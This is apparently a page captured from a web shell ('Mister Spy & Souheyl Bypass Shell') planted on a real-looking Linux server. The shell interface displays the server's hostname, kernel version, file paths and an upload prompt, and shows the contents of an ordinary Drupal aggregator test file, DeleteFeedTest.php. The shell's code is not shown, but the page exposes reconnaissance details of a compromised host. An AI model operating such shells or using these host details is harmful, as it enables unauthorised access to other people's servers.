Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/bbp/web/core/modules/aggregator/tests/src/Functional/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/bbp/web/core/modules/aggregator/tests/src/Functional/DeleteFeedTest.php

<?php

namespace Drupal\Tests\aggregator\Functional;

/**
 * Delete feed test.
 *
 * @group aggregator
 */
class DeleteFeedTest extends AggregatorTestBase {

  /**
   * Modules to install.
   *
   * @var array
   */
  protected static $modules = ['block'];

  /**
   * {@inheritdoc}
   */
  protected $defaultTheme = 'stark';

  /**
   * Deletes a feed and ensures that all of its services are deleted.
   */
  public function testDeleteFeed() {
    $feed1 = $this->createFeed();
    $feed2 = $this->createFeed();

    // Place a block for both feeds.
    $block = $this->drupalPlaceBlock('aggregator_feed_block');
    $block->getPlugin()->setConfigurationValue('feed', $feed1->id());
    $block->save();
    $block2 = $this->drupalPlaceBlock('aggregator_feed_block');
    $block2->getPlugin()->setConfigurationValue('feed', $feed2->id());
    $block2->save();

    // Delete feed.
    $this->deleteFeed($feed1);
    $this->assertText($feed2->label());
    $block_storage = $this->container->get('entity_type.manager')->getStorage('block');
    $this->assertNull($block_storage->load($block->id()), 'Block for the deleted feed was deleted.');
    $this->assertEqual($block2->id(), $block_storage->load($block2->id())->id(), 'Block for not deleted feed still exists.');

    // Check feed source.
    $this->drupalGet('aggregator/sources/' . $feed1->id());
    $this->assertSession()->statusCodeEquals(404);

    // Check database for feed.
    $result = \Drupal::entityQuery('aggregator_feed')->condition('title', $feed1->label())->condition('url', $feed1->getUrl())->count()->execute();
    $this->assertEquals(0, $result, 'Feed not found in database');
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net